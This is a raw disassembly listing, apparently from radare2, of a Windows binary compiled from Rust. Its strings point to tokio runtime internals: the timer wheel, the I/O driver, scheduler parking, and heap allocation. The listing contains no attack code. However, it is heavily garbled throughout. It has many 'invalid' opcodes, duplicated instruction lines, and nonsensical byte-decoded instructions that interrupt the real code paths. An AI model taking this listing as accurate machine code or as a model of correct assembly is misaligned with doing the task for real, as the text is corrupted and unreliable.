lea rdx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtimeiodriver.rs
lea rcx, [rsp + 0x50]
call fcn.1400a4370
ud2
add byte [rax + 1], bh
mov eax, 1
mov ecx, edi
shl rax, cl
or qword [rdx + r11 + 0x408], rax
test r9, r9
je 0x140096980
mov r10, r9
mov r9, qword [r9]
test r9, r9
je 0x14009685e
mov qword [r9 + 8], 0
movups xmmword [r10], xmm6
mov rax, qword [r10 + 0x20]
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
nop dword cs:[rax + rax]
cmp rax, 0xfffffffffffffffe
jae 0x140096c45
cmp rax, r8
ja 0x1400968d0
lock cmpxchg qword [r10 + 0x20], rbp
jne 0x140096870
mov qword [r10 + 0x10], 0xffffffffffffffff
mov qword [rsp + 0x68], r10
mov rax, qword [r15]
cmp rax, r10
je 0x140096c9b
mov qword [r10 + 8], rax
mov qword [r10], 0
test rax, rax
je 0x1400968b3
mov qword [rax], r10
mov qword [rsi + 0x28], r10
cmp qword [rsi + 0x30], 0
jne 0x140096842
mov qword [rsi + 0x30], r10
jmp 0x140096842
mov qword [r10 + 0x10], rax
xor rax, r8
or rax, 0x3f
cmp rax, r14
cmovae rax, r14
bsr rax, rax
xor al, 1
movzx eax, al
imul ecx, eax, 0x2b
shr ecx, 8
mov rdx, qword [rsi + 0x18]
cmp rdx, rcx
jbe 0x140096bf3
mov rdx, qword [rbx]
imul r11, rcx, 0x410
mov rdi, qword [r10 + 0x10]
mov eax, dword [rdx + r11 + 0x400]
add byte [rcx], al
ror byte [rbp - 0x2cb7bff4], 0xef
add byte [rcx], al
ror byte [rbp - 0x2cb7bff4], 0xef
lea r12, [rdx + r11]
and edi, 0x3f
mov rax, rdi
shl rax, 4
lea rcx, [r12 + rax]
mov qword [rsp + 0x68], r10
mov r13, qword [rax + r12]
cmp r13, r10
je 0x140096c81
mov qword [r10 + 8], r13
mov qword [r10], 0
test r13, r13
je 0x140096954
mov qword [r13], r10
mov qword [rcx], r10
cmp qword [r12 + rax + 8], 0
jne 0x140096830
add rax, r12
add rax, 8
mov qword [rax], r10
jmp 0x140096830
nop word cs:[rax + rax]
mov r8, qword [rsp + 0xa8]
mov qword [rsp + 0x30], r8
mov rax, qword [rsp + 0x20]
cmp qword [rax], r8
ja 0x140096cb8
jae 0x140096780
mov rax, qword [rsp + 0x20]
mov qword [rax], r8
jmp 0x140096780
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_timewheelmod.rs
call fcn.1400a4430
ud2
lea rax, str.mark_pending_called_when_the_timer_entry_is_in_an_invalid_state
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
lea rdx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_timeentry.rs
lea rcx, [rsp + 0x38]
call fcn.1400a4370
ud2
mov qword [rsp + 0x38], 0
lea rdx, [rsp + 0x68]
lea r8, [rsp + 0x38]
call fcn.1400a89d0
ud2
mov qword [rsp + 0x38], 0
lea rdx, [rsp + 0x68]
lea r8, [rsp + 0x38]
mov rcx, r15
call fcn.1400a89d0
ud2
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x68], rax
lea rax, [fcn.14003e3d0]
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x78], rcx
mov qword [rsp + 0x80], rax
lea rax, str.elapsed__when
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 2
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x68]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 2
lea rdx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_timewheelmod.rs
jmp 0x140096c75
mov dword [rsp + 0x20], eax
lea rax, [fcn.14003d600]
mov qword [rsp + 0x28], rax
lea rax, [0x1400e3a00]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x20]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadpark.rs
adc eax, 0x4c994
adc eax, 0x4c994
jmp 0x140097a09
dec dword [rax - 0x77]
and al, 0x28
lea rax, str.inconsistent_park_timeout_state:
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x60], 0
mov dword [rsp + 0x60], 0
lea rax, [rsp + 0x20]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadpark.rs
lea edx, [0x1400e4360]
lea edx, [0x1400e4360]
lea rcx, [rsp + 0x40]
call fcn.1400a4370
pop rbp
leave
add byte [rax], al
pop rbp
leave
add byte [rax], al
ud2
rol byte [r8 + rax], 1
mov edx, 0x68
call fcn.1400a4960
add byte [rax], al
add byte [rax], al
ud2
push rbx
sub rsp, 0x48
movaps xmmword [rsp + 0x30], xmm6
mov r14, r8
mov rsi, rdx
mov rdi, rcx
cmp byte [r8 + 0x49], 0
cmp byte [rax + 0x49], 0
invalid
cmp byte [rax + 0x49], 0
js 0x140097a9b
add byte [rbx + rbp + 0x48], dh
mov eax, dword [rdi]
je 0x140097a80
mov rax, qword [rdi]
mov byte [r14 + 0x49], 0
mov rcx, qword [rax + 0x10]
mov rax, 0xffffffffffffffff
sar bh, 0xff
invalid
push rax
xadd qword [rcx + 0xb8], rax
sar bh, 0xff
invalid
push rax
xadd qword [rcx + 0xb8], rax
cmp ax, 1
jne 0x140097a80
add rcx, 0x10
call fcn.140097e80
invalid
add byte [rcx - 1], cl
and byte [rax - 0x7d], r9b
jg 0x140097a90
invalid
inc qword [r14 + 0x20]
cmp qword [rdi + 8], 0
or byte [rax], al
or byte [rax], al
jne 0x140097e58
mov qword [rdi + 8], 0xffffffffffffffff
lea rbx, [rdi + 0x10]
cmp qword [rdi + 0x10], 0
je 0x140097ab3
add byte [rcx + rdx + 0x48], dh
mov ecx, ebx
mov rcx, rbx
call fcn.140093140
mov rax, qword [rdi + 8]
inc rax
inc eax
inc eax
jmp 0x140097ab5
xor eax, eax
mov qword [rdi + 0x10], r14
mov qword [rdi + 8], rax
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
and eax, 0x58
ja 0x140097ac9
and eax, 0x58
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x158]
cmp eax, 1
je 0x140097b0e
test eax, eax
jne 0x140097b3e
pop rsi
pop rsi
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0x108]
add dword [rax], eax
add byte [rax - 0x73], cl
adc eax, 0xffffb2df
call fcn.140075840
mov byte [r14 + 0x158], 1
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx ebp, byte [rax + 0x154]
movzx ecx, byte [rax + 0x155]
mov dh, 0x88
push rbp
add dword [rax], eax
add byte [rax + 0x662f244c], cl
mov dword [rax + 0x154], 0x3eb8001
mov dh, 0x88
push rbp
add dword [rax], eax
add byte [rax + 0x662f244c], cl
mov dword [rax + 0x154], 0x3eb8001
mov bpl, 2
mov rax, qword [rsi + 0x10]
mov rcx, rsi
call qword [rax]
cmp qword [rdi + 8], 0
jne 0x140097e3c
mov r13d, 1
xorps xmm6, xmm6
lea r15, [0x140092de0]
invalid
invalid
jmp 0x140097b9e
invalid
mov rsi, qword [rdi + 0x10]
movups xmmword [rdi + 8], xmm6
test rsi, rsi
je 0x140097c6e
mov r14, qword [rsi]
mov qword [rsi], 0
invalid
add byte [rax], al
add byte [rax], al
test r14, r14
je 0x140097c72
invalid
add byte [rdi], cl
test ah, bl
add byte [rax], al
add byte [rcx - 0x7d], cl
std
add esi, dword [rdx + 4]
mov byte [rsi + 0x48], 0
cmp qword [rdi + 8], 0
jne 0x140097e4a
invalid
xor esi, esi
jmp 0x140097c82
cmp bpl, 2
je 0x140097cfd
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0x158]
cmp eax, 1
je 0x140097cd8
test eax, eax
jne 0x140097cfd
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0x108]
lea rdx, [0x140092de0]
call fcn.140075840
mov byte [rdi + 0x158], 1
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x154], bpl
movzx ecx, byte [rsp + 0x2f]
mov byte [rax + 0x155], cl
mov rax, rsi
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
int1
call qword [rax + 0x10]
jmp 0x140097e16
lea r8, [rdx + 8]
test rdx, rdx
cmove r8, rax
cmove eax, eax
cmove eax, eax
mov qword [r8], r14
mov qword [rdi + 0xf0], r14
add byte [rax - 1], cl
ror dword [rax - 0x77], 0x8f
mov al, 0
add byte [rax], al
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rdi + 0xc8], cl
je 0x140097c82
invalid
dec dword [rax - 0x7f]
invalid
add rdi, 0xc8
mov rcx, rdi
call fcn.1400a5c60
jmp 0x140097c82
lea rcx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadworker.rs
call fcn.1400a4800
ud2
or ecx, dword [rax - 0x73]
or eax, 0x4c821
lea rcx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadworker.rs
call fcn.1400a4800
ud2
lea ecx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1400e54d0]
mov edx, 0x27
add byte [rax], al
call fcn.1400a4530
ud2
add byte [rax], al
test ax, ax
jne 0x140097f1c
add byte [rax], al
invalid
ror byte [rdi], 0x85
invalid
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov rsi, rcx
shr rax, 0x10
cmp rax, qword [rcx + 0xb0]
jae 0x140097f1c
mov cl, 1
xor eax, eax
lock cmpxchg byte [rsi + 0xb8], cl
cmpxchg byte [rsi + 0xb8], cl
jne 0x140097f65
mov rax, qword [rsi + 0xa8]
test ax, ax
add byte [rax], al
add byte [rsi - 0x7b], ah
sal byte [rbp + 0x43], 0x48
shr rax, 0x10
test eax, eax
jne 0x140097f0e
shr rax, 0x10
cmp rax, qword [rsi + 0xb0]
jae 0x140097f0e
invalid
lock add qword [rsi + 0xa8], 0x10001
mov rax, qword [rsi + 0xd0]
test rax, rax
je 0x140097f24
add byte [rcx], al
add byte [rcx], al
add byte [rax - 0x75], cl
xchg al, dl
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rsp + rsi + 0x48], 0x8d
dec qword [rax - 0x77]
dec dword [rax - 0x77]
lea rcx, [rax - 1]
mov qword [rsi + 0xd0], rcx
dec dword [rax - 0x77]
mov ss, eax
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rsi + 0xc0]
invalid
invalid
jl 0x140097ec7
mov rcx, qword [rsi + 0xc0]
mov rdi, qword [rcx + rax*8 - 8]
clc
mov ebx, 1
jmp 0x140097f26
xor ebx, ebx
mov al, 1
lock cmpxchg byte [rsi + 0xb8], bl
jne 0x140097f76
add byte [rax], al
add byte [rbp + 0x5a], dh
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
xor ebx, ebx
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rsi + 0xb8], cl
jne 0x140097f76
xlatb
jae 0x140097f89
mov rax, qword [rsi + 0x50]
shl rdi, 4
add rsi, 0x110
mov rcx, qword [rax + rdi + 8]
mov rdx, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp fcn.140098090
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadworker.rs
mov rcx, rdi
call fcn.1400a4430
ud2
add byte [rdi + rcx*2 + 0x48], dh
mov eax, dword [rcx]
lock dec qword [rax]
jne 0x140097fc4
call fcn.1400971a0
cmp qword [rsi + 0x18], 0
je 0x140097fd4
lea rcx, [rsi + 0x18]
call fcn.140093140
mov rdi, qword [rsi + 0x28]
mov rbx, qword [rsi + 0x38]
test rbx, rbx
je 0x140098053
lea r14, [rdi + 8]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x75], cl
clc
mov rax, qword [r14 - 8]
mov rcx, qword [r14]
call qword [rax + 0x18]
add r14, 0x10
dec rbx
jne 0x140097ff0
jmp 0x140098053
or byte [rbp + 5], dh
call fcn.140092e30
cmp qword [rsi + 0x18], 0
je 0x140098023
lea rcx, [rsi + 0x18]
call fcn.140095840
mov rdi, qword [rsi + 0x28]
mov rbx, qword [rsi + 0x38]
test rbx, rbx
je 0x140098053
invalid
lea r14, [rdi + 8]
nop word cs:[rax + rax]
mov rax, qword [r14 - 8]
clc
mov rcx, qword [r14]
call qword [rax + 0x18]
add r14, 0x10
dec rbx
jne 0x140098040
cmp qword [rsi + 0x30], 0
je 0x140098076
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rdi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
in al, dx
jo 0x14009804e
add eax, dword [rax]
add byte [rax], al
xchg qword [rcx + 0x18], rax
cmp rax, 3
ja case.default.0x1400980b9
mov rsi, rcx
lea rcx, [0x1400e8284]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov cl, 1
xor eax, eax
lock cmpxchg byte [rsi + 0x28], cl
jne 0x14009819c
xor ecx, ecx
leave
mov al, 1
lock cmpxchg byte [rsi + 0x28], cl
jne 0x1400981aa
mov rdx, qword [rsi + 0x20]
test rdx, rdx
je case.0x1400980b9.0
add rsi, 0x20
mov rcx, rsi
add rsp, 0x70
pop rsi
jmp fcn.1400a5610
cmp qword [rdx], 0
je 0x140098121
mov rax, qword [rdx + 8]
mov r8, qword [rdx + 0x10]
mov rcx, qword [rax + 0x10]
mov edx, 1
xor r9d, r9d
call qword [sym.imp.kernel32.dll_PostQueuedCompletionStatus]
test eax, eax
je 0x14009822d
add rsp, 0x70
pop rsi
ret
mov rsi, qword [rdx + 8]
mov eax, 2
xchg qword [rsi + 0x10], rax
test rax, rax
je case.0x1400980b9.0
cmp rax, 1
je 0x140098174
cmp rax, 2
je case.0x1400980b9.0
lea rax, str.inconsistent_state_in_unpark
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rsp + 0x38], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtimepark.rsinconsistent_park_state__actual_
jmp 0x140098221
mov cl, 1
xor eax, eax
lock cmpxchg byte [rsi + 0x20], cl
jne 0x1400981b8
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rsi + 0x20], cl
jne 0x1400981c3
mov rdx, qword [rsi + 0x18]
test rdx, rdx
je case.0x1400980b9.0
add rsi, 0x18
jmp 0x1400980e6
lea rcx, [rsi + 0x28]
call fcn.1400a5fa0
jmp 0x1400980ca
lea rcx, [rsi + 0x28]
call fcn.1400a5c60
jmp 0x1400980d9
lea rcx, [rsi + 0x20]
call fcn.1400a5fa0
jmp 0x14009817f
lea rcx, [rsi + 0x20]
call fcn.1400a5c60
jmp 0x14009818a
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x60], rax
lea rax, [fcn.14003d600]
mov qword [rsp + 0x68], rax
lea rax, str.inconsistent_state_in_unpark__actual_
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x48], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
lea rdx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_schedulermulti_threadpark.rs
lea rcx, [rsp + 0x28]
call fcn.1400a4370
ud2
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x28], rax
lea rax, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtimeiodriver.rs
mov qword [rsp + 0x20], rax
lea rcx, str.failed_to_wake_I_O_driver
lea r9, [0x1400e3440]
lea r8, [rsp + 0x28]
mov edx, 0x19
call fcn.1400a48c0
ud2
adc byte [rax], al
add byte [rax], al
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
test rcx, rcx
jne 0x140098b1c
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140098de7
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
invalid
mov rcx, rax
mov qword [0x1400f0220], rax
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x140098de7
invalid
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
jbe 0x140098b47
add byte [rax - 0x7b], cl
leave
jbe 0x140098b47
add byte [rax - 0x7b], cl
leave
jne 0x140098b61
sbb edi, edi
adc eax, 0x107ca
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140098db4
mov rcx, rax
mov qword [0x1400f0220], rax
mov r8d, 0x80
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140098db4
mov rdx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x59], xmm0
movaps xmmword [rsp + 0x50], xmm0
xor r8d, r8d
movups xmm0, xmmword [rsp + 0x59]
adc byte [rsp + 0x59], al
movups xmmword [rsp + 0x79], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x70], xmm0
cmp byte [rbx + 9], 0
je 0x140098cce
invalid
invalid
add dword [rax], eax
invalid
test byte [0x184098bab], ah
mov dword [rsp + 0x2c], eax
mov dword [rsp + 0x2c], r8d
mov qword [rsp + 0x48], rdx
call fcn.14008e060
mov qword [rsp + 0x40], rax
mov ebx, edx
mov ebx, edx
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
add byte [rax - 0x75], cl
or eax, 0x57653
test rcx, rcx
jne 0x140098beb
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140098dc5
mov rcx, rax
mov qword [0x1400f0220], rax
mov r8d, 0x1860
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140098dc5
add dword [rax], eax
invalid
test bl, al
add dword [rax], eax
add byte [rcx - 0x77], cl
invalid
mov r12, rax
xor ebp, ebp
mov r8d, 0x810
mov rcx, rax
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov qword [r12 + 0x810], 1
test byte [rax + rdx], ah
or byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
test byte [rax + rdx], ah
or byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rcx - 0x73], cl
mov word [rax + rbx], fs
or byte [rax], al
add byte [rcx - 0x48], al
or byte [rax + rax], al
add byte [rcx], dh
shr al, cl
fld qword [rcx - 0x38b70000]
adc byte [rax], cl
add byte [rax], al
add dword [rax], eax
add byte [rax], al
lea rcx, [r12 + 0x818]
mov r8d, 0x408
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov qword [r12 + 0xc20], 2
lea rcx, [r12 + 0xc28]
mov r8d, 0x408
add byte [rax], al
add byte [rcx - 0x39], cl
test byte [rax + riz], ah
or al, 0
add byte [rdx], al
add byte [rax], al
add byte [rcx - 0x73], cl
mov word [rax + rbp], fs
or al, 0
add byte [rcx - 0x48], al
or byte [rax + rax], al
add byte [rax], al
invalid
add byte [rax], al
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov qword [r12 + 0x1030], 3
shr al, cl
mov esp, 0x49000081
mov dword [rsp + 0x1030], 3
lea rcx, [r12 + 0x1038]
mov r8d, 0x408
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov qword [r12 + 0x1440], 4
and al, 0x40
adc al, 0
add byte [rax + rax], al
add byte [rax], al
add byte [rcx - 0x48], al
or byte [rax + rax], al
add byte [rcx], dh
shr al, cl
wait
add dword [rax], 0x84c74900
and al, 0x40
adc al, 0
add byte [rax + rax], al
add byte [rax], al
mov rcx, r12
add rcx, 0x1448
loope 0x140098cd2
add ecx, 0x1448
mov r8d, 0x408
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov qword [r12 + 0x1850], 5
test byte [rax + rdx*2], ah
sbb byte [rax], al
add byte [0x189098caa], al
mov dword [rsp + 0x1858], 0
pop rax
sbb byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rcx], dh
shr al, cl
js 0x140098c1c
test byte [rax + rdx*2], ah
sbb byte [rax], al
add byte [0x189098caa], al
mov dword [rsp + 0x1858], 0
pop rax
sbb byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
xorps xmm0, xmm0
movaps xmmword [rsp + 0x50], xmm0
ror byte [rdi], 0x29
and al, 0x50
mov rdx, qword [rsp + 0x48]
mov r8d, dword [rsp + 0x2c]
mov r9, qword [rsp + 0x40]
jmp 0x140098cd8
mov ebp, 1
add dword [rax], eax
add byte [rax], al
add byte [rbx + 0x3b9aca00], bh
mov ebx, 0x3b9aca00
mov qword [rsi + 0x10], r13
mov rax, qword [rsp + 0x30]
mov qword [rsi + 0x18], rax
mov qword [rsi + 0x20], r13
outsb dx, byte [rsi]
and byte [rax - 0x39], cl
sub byte [rax], r8b
add byte [rax], al
add byte [rbx - 0x74c6dbbc], cl
and al, 0x3c
add byte [rbx - 0x74c6dbbc], cl
and al, 0x3c
mov dword [rsi + 0x3c], ecx
mov dword [rsi + 0x39], eax
movaps xmm0, xmmword [rsp + 0x50]
movups xmmword [rsi + 0xc0], xmm0
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0x79], al
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0x79], al
movups xmmword [rsi + 0x81], xmm0
movaps xmm0, xmmword [rsp + 0x70]
movups xmmword [rsi + 0x78], xmm0
mov qword [rsi], rbp
mov qword [rsi + 8], r15
mov qword [rsi + 0x30], r14
mov byte [rsi + 0x38], r8b
mov qword [rsi + 0x40], r14
mov qword [rsi + 0x48], rdi
xorps xmm0, xmm0
push rdi
ror byte [rdi], 0x11
push rax
mov byte [rsi + 0x60], 0
mov qword [rsi + 0x68], rdx
mov qword [rsi + 0x70], 0x10
mov byte [rsi + 0x98], 0
mov qword [rsi + 0xa0], r12
mov qword [rsi + 0xa8], 6
mov qword [rsi + 0xb0], 6
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0xb8], 0
mov qword [rsi + 0xd0], 0
mov byte [rsi + 0xd8], 0
mov qword [rsi + 0xe0], r9
mov dword [rsi + 0xe8], ebx
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, 8
mov edx, 0x80
call fcn.1400a42a0
ud2
mov ecx, 8
mov edx, 0x1860
call fcn.1400a42a0
ud2
mov ecx, 8
mov rdx, r12
call fcn.1400a42a0
ud2
mov ecx, eax
mov qword [0x1400f0220], rax
mov r8d, 0x40
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140099115
mov rdi, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x30], 0
mov byte [rax + 0x38], 0
lock inc qword [rax]
jle 0x140099111
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
test rcx, rcx
jne 0x140098ebd
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140099126
mov rcx, rax
mov qword [0x1400f0220], rax
xor esi, esi
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140099126
add byte [rax], al
add byte [rax], al
mov r14, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], rdi
mov eax, dword [rbx + 0x30]
mov ecx, 0xa
cmp eax, 0x3b9aca00
je 0x140098f01
and al, 0x50
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0xf0], 0
jne 0x140098f27
call fcn.140007aa0
mov dword [rsp + 0x24], esi
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov r8, qword [rax + 0xf8]
mov rdx, qword [rax + 0x100]
lea rcx, [r8 + 1]
mov qword [rax + 0xf8], rcx
mov rbp, qword [rbx + 0x38]
lock inc qword [rbp]
jle 0x140099111
mov r15, qword [rbx + 0x40]
mov r12, qword [rbx + 0x10]
invalid
adc byte [rax - 0x75], cl
sbb byte [r8 - 0x75], cl
jae 0x140098fce
test rsi, rsi
mov qword [rsp + 0x48], r13
je 0x140098f95
invalid
lock inc qword [rsi]
jle 0x140099111
mov rax, qword [rbx + 0x60]
mov qword [rsp + 0x30], rax
jmp 0x140098f95
mov r13, qword [rbx + 0x68]
test r13, r13
mov qword [rsp + 0x40], rcx
je 0x140098fb9
lock inc qword [r13]
jle 0x140099111
mov rax, qword [rbx + 0x70]
mov qword [rsp + 0x28], rax
and al, 0x28
jmp 0x140098fb9
mov rbx, r8
mov qword [rsp + 0x38], rdx
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
test rcx, rcx
test ecx, ecx
test ecx, ecx
jne 0x140098fed
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140099137
mov rcx, rax
mov qword [0x1400f0220], rax
mov r8d, 0x110
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140099137
xor eax, dword [rcx]
add byte [rax], al
xor eax, dword [rcx]
add byte [rax], al
mov qword [rax], 1
mov qword [rax + 8], 1
or byte [rcx], al
add byte [rax], al
add byte [rcx + rcx*4 + 0x60], cl
invalid
or byte [rcx], al
add byte [rax], al
add byte [rcx + rcx*4 + 0x60], cl
adc byte [rax - 0x75], cl
mov rcx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x40]
mov qword [rax + 0x18], rcx
mov rcx, qword [rsp + 0x50]
mov qword [rax + 0x20], rcx
mov ecx, dword [rsp + 0x24]
mov dword [rax + 0x28], ecx
mov qword [rax + 0x30], rbp
mov qword [rax + 0x38], r15
mov byte [rax + 0x40], 0
mov qword [rax + 0x48], 8
xorps xmm0, xmm0
push rdi
invalid
push rdi
ror byte [rdi], 0x11
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x50], xmm0
mov qword [rax + 0x60], 0
lea rcx, [0x1400e3560]
mov qword [rax + 0x68], rcx
movups xmmword [rax + 0x70], xmm0
mov qword [rax + 0x80], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
cwde
mov byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
cwde
mov byte [rax], al
add byte [rax], al
mov rcx, qword [rsp + 0x38]
mov ecx, dword [rsp + 0x38]
mov qword [rax + 0x90], rcx
mov qword [rax + 0x98], r14
mov qword [rax + 0xa0], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rcx + rcx*4 - 0x50], cl
cwde
add byte [rax], al
add byte [rax - 0x39], cl
and byte [rax], 0
add byte [rax], al
add byte [rax], al
invalid
mov qword [rax + 0xb8], 0
mov dword [rax + 0xc0], 0
add byte [rax], al
add byte [rax], al
add bh, al
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov byte [rax + 0xc4], 0
mov qword [rax + 0xc8], 0
mov dword [rax + 0xc8], 0
invalid
mov dword [rax + 0xc8], 0
mov qword [rax + 0xd0], rsi
mov rcx, qword [rsp + 0x30]
mov qword [rax + 0xd8], rcx
mov al, bl
add byte [rax], al
add byte [rcx + rcx*4 - 0x58], cl
loopne 0x1400990d1
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x28
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x28
mov qword [rax + 0xe8], rcx
mov dword [rax + 0xe8], ecx
mov rcx, qword [rsp + 0x48]
mov qword [rax + 0xf0], rcx
mov qword [rax + 0xf0], rcx
